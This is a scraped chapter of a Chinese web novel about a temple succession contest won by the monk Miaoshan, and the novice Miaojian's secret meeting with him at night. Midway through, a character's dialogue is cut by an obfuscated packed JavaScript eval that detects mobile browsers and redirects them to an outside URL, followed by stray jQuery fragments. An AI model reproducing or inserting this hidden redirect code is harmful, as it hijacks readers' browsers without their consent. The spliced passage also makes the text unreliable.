默认冷灰
24号文字
方正启体

32. 第 32 章

作者:漆铜生本书字数:K更新时间:
    比赛开始了。


    第一场辩经,姜筠正打算好好看看热闹,忽然感觉肚子一阵翻江倒海,她脸色一变,捂住肚子。


    言无望注意到她的异常,低声问:“怎么了?”


    姜筠咬着牙,一脸痛苦:“没、没事……你们先看,我去解决一下个人问题。”


    说完,她捂着肚子,弯着腰,一溜烟跑了。


    言无望看着她的背影,唇角微微抽了抽。


    茅房里,姜筠蹲了许久,终于感觉舒服了些。


    完事后,一边往外走,嘴里还在嘀咕:“这觉远寺的斋饭是不是不干净啊?怎么偏偏这个时候闹肚子?”


    从茅房出来,她顺着来路往回走,走到一半,忽然瞥见一座禅房外的角落里蹲着一个小身影。


    是个小和尚,穿着灰色的僧袍,缩在墙角,探头探脑地往广场那边张望,却不进去,鬼鬼祟祟的样子,一看就有问题。


    姜筠眼珠一转,放轻脚步,悄悄绕到小和尚身后。


    “嘿!”


    小和尚吓得一蹦三尺高,差点尖叫出声,但他硬生生把叫声咽了回去,双手死死捂住自己的嘴,惊恐地瞪大眼睛看着她。


    姜筠被他这反应搞得一愣,至于吗?又不是要吃了你。


    小和尚反应过来,转身就跑。姜筠追了上去,一把揪住他的僧袍后领:“等等!你在这儿干什么呢?怎么不去看比赛?”


    小和尚被她揪住,跑不掉,只能缩着脖子,支支吾吾道:“我……我刚来没几天,还没……还没正式成为寺里的弟子。”


    姜筠恍然:“哦,借读生啊。”


    小和尚左右张望,眼神闪烁一看就藏着什么事。姜筠盯着他看了一会儿,问:“你叫什么名字?”


    小和尚低着头,小声说:“主持赐的法号,叫妙见。”


    姜筠点点头:“妙见,不错的名字。”


    话音刚落,小和尚猛地挣脱她的手,一溜烟跑没影了。姜筠站在原地,看着他的背影消失在拐角,摇了摇头,算了,不管那么多了,还是回去看热闹吧。


    等姜筠回到广场时,第一场辩经已经结束了。


    她一脸懵:“怎么这么快?谁赢了?”


    言无望看她一眼,唇角微微扬起:“当然是妙善赢了。”


    姜筠顿时眉开眼笑:“好好好!第二场什么时候开始?”


    言无望指了指台上:“马上。”


    第二场,武艺。


    广场中央的空地上,妙善和惠缘相对而立。


    惠缘脱去了外袍,露出一身精壮的腱子肉,秋风中似是一点也不畏惧寒意,一看就是常年练武之人,他手中握着一根齐眉棍,棍身粗如儿臂,往地上一杵,青石板都震了震。


    妙善依然穿着那身月白色的僧袍,衣袂飘飘,手中握着一根细长的木棍,说是木棍,其实更像是一根树枝,细得仿佛一折就断。


    两人站在一起,对比鲜明。一个壮得像头牛,一个瘦得像根竹竿。


    姜筠看得直皱眉,忍不住小声问言无望:“这……这能行吗?那棍子一碰就断了吧?”


    言无望目光专注地看着台上,轻声道:“看下去就知道了。”


    惠缘率先出手。


    他大喝一声,齐眉棍抡圆了,带着呼呼风声朝妙善横扫过去。那一棍力道之猛,隔着老远姜筠都能感觉到劲风扑面。


    妙善没有硬接,他身形一闪,轻飘飘地避开了这一棍。动作行云流水,像一片被风吹起的落叶。


    惠缘一击不中,立即变招,齐眉棍在他手中招式凌厉。


    妙善始终没有还手,他就那样在棍影中穿梭闪避,像一只灵巧的燕子,每一次都堪堪避过,却又每次都差之毫厘。


    姜筠看得心都提到嗓子眼了。


    惠缘的棍子几次都擦着妙善的身体过去,有一次甚至贴着他的头皮扫过,姜筠紧张得握紧了拳头。


    “他怎么不还手啊?”她急得不行。


    言无望目光紧紧盯着台上,轻声道:“他在等。”


    “等什么?”


    言无望没有回答。


    台上,惠缘久攻不下,渐渐有些急躁。他大喝一声,使出全力,一棍当头劈下。


    这一棍,势大力沉,避无可避。


    妙善终于动了。


    他没有躲,而是抬起手中那根细如树枝的木棍,轻轻一点。


    那动作轻描淡写,仿佛随手拂去衣上的尘埃。


    然而就在那一点之下,惠缘的齐眉棍竟偏离了方向,“砰”的一声砸在地上,青石板应声碎裂。


    惠缘愣住了。


    妙善的棍尖已经抵在他咽喉前,距离不过寸许。


    全场鸦雀无声。


    过了许久,不知是谁带头鼓起掌来,掌声越来越响,最后汇成一片。


    姜筠激动得差点跳起来:“赢了!赢了!”


    言无望看着她兴奋的样子,唇角又弯了弯。


    第三场,禅定。


    这一场比的不是武功,不是口才,而是心性。两人相对而坐,闭目入定,谁先动,谁就输。


    广场上安静极了,连呼吸声都清晰可闻。


    阳光慢慢移动,从东边移到头顶,又从头顶移到西边,惠缘的额头开始冒汗,眉头微微皱起。


    妙善却始终如一,眉目低垂,面容平静,仿佛一尊没有生命的佛像。


    姜筠作为一个看客,此刻已经完全坐不住了,只想着能快点结束,因为,她饿了!


    她扭过头,“你不饿么?”言无望看着她,忽地嘴角一咧,从袖中掏出一块锦帕,展开后里面包着一个饼子。


    姜筠大喜:“你真是我的救星啊!随后便吃了起来。”


    坐在另一边的萧书玉侧头注意到他们的动静,侧头看了过来。


    夕阳西斜,惠缘终于撑不住了,他睁开眼睛,长长吐出一口气,站起身,朝妙善合十一礼,转身离开。


    妙善依然坐着,纹丝不动。


    良久,他才缓缓睁开眼睛,那双眼睛清澈如水,没有得意,没有欢喜,只有一片深不见底的平静。


    惠明激动地上前宣布:“第三场,妙善胜!三场全胜,新住持就是妙善,明日举行继任仪式。”


    掌声雷动。


    惠缘等人站在人群中,面上颇有些不服,却也只能无奈地跟着鼓掌。


    晚上,用完斋饭后,姜筠、言无望和萧书玉在寺中散步,远处隐约传来诵经声,低沉悠远。


    萧书玉道:“明日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254292|195505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妙善正式继任,事情办完,我们就可以启程回天策宗了。幸好,没有出什么意外。”


    姜筠点头:“是啊,还挺顺利的。”


    话音刚落,一阵哀嚎声从不远处的院子里传来。


    “啊!饶命啊!”


    三人脸色均是一变,对视一眼,快步朝声音传来的方向赶去。


    院子不大,里面亮着灯,透过半开的院门,姜筠看见两个身材高大的和尚正踢着地上蜷缩成一团的小身影。


    “住手!”萧书玉大步上前,厉声喝止。


    两个和尚停下动作,转头看向他们。其中一个姜筠认出来了,是白天站在惠缘身边的和尚。


    那和尚皮笑肉不笑地扯了扯嘴角,阴阳怪气道:“几位施主,这是我们寺里教训不懂事的小弟子,不关外人的事,请回吧。”


    姜筠和言无望上前,把地上的小和尚扶起来。小和尚脸上青一块紫一块,嘴角还带着血,看见姜筠,眼神躲闪,像是做错了什么事。


    姜筠这才发现,这和尚就是她白天遇见的“妙见”。


    姜筠心里一阵火起,挡在妙见身前,瞪着那两个和尚:“凭什么打人?”


    那和尚冷哼一声:“这小子鬼鬼祟祟在惠缘师叔的禅房外晃悠,定是藏了什么祸心。”


    “你们自己心里有鬼,就怀疑别人啊?”姜筠毫不示弱,“况且他干什么了?什么都没干,你们凭什么打人?”


    妙见在她身后小声说:“师、师兄,是我不对,你别生气。”又转向姜筠,连连鞠躬,“多谢女侠,但我真的没事,真的没事。”


    姜筠被他这懦弱的样子气得肝疼,这孩子怎么这么好欺负?


    萧书玉上前打圆场:“大家可能是有误会,既然现在没事了,就散了吧。”


    两个和尚瞪了姜筠一眼,嘴里嘀咕着“多管闲事”,转身离开。


    姜筠瞪回去:“就你们会瞪眼啊?我也会!”


    等那两个和尚走远,妙见朝三人深深一躬,低着头快步离开了。


    姜筠看着他的背影,总觉得这孩子藏着什么事。


    夜深了。


    妙见打扫完一座偏殿,提着灯笼往外走。四周静悄悄的,只有虫鸣声此起彼伏。


    忽然,一阵风声掠过。


    妙见一惊,只见一柄飞刀“夺”地钉在他面前的树干上,刀身上卷着一张纸条。


    他颤抖着手取下纸条,展开一看,上面只有一行小字:


    “想知道真相,后山见。”


    妙见盯着那行字看了许久,手指慢慢攥紧,将纸条揉成一团,他没有回禅房,而是转身朝后山的方向跑去。


    夜风有些冷,吹得他单薄的僧袍猎猎作响,山路崎岖,他几次差点摔倒,却没有停下脚步。


    后山,悬崖峭壁旁,一道身影立在月光下。


    那人身姿修长,气质出尘,月白色的僧袍被夜风吹得微微飘动,仿佛随时会乘风归去。


    妙见气喘吁吁地跑到近前,停下脚步,看着那道背影,眼中涌出复杂的情绪。


    他深吸一口气,哑着嗓子唤道:


    “师兄……”


    那人缓缓转过身。


    月光照在他脸上,眉目如月,面容清俊,正是妙善。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)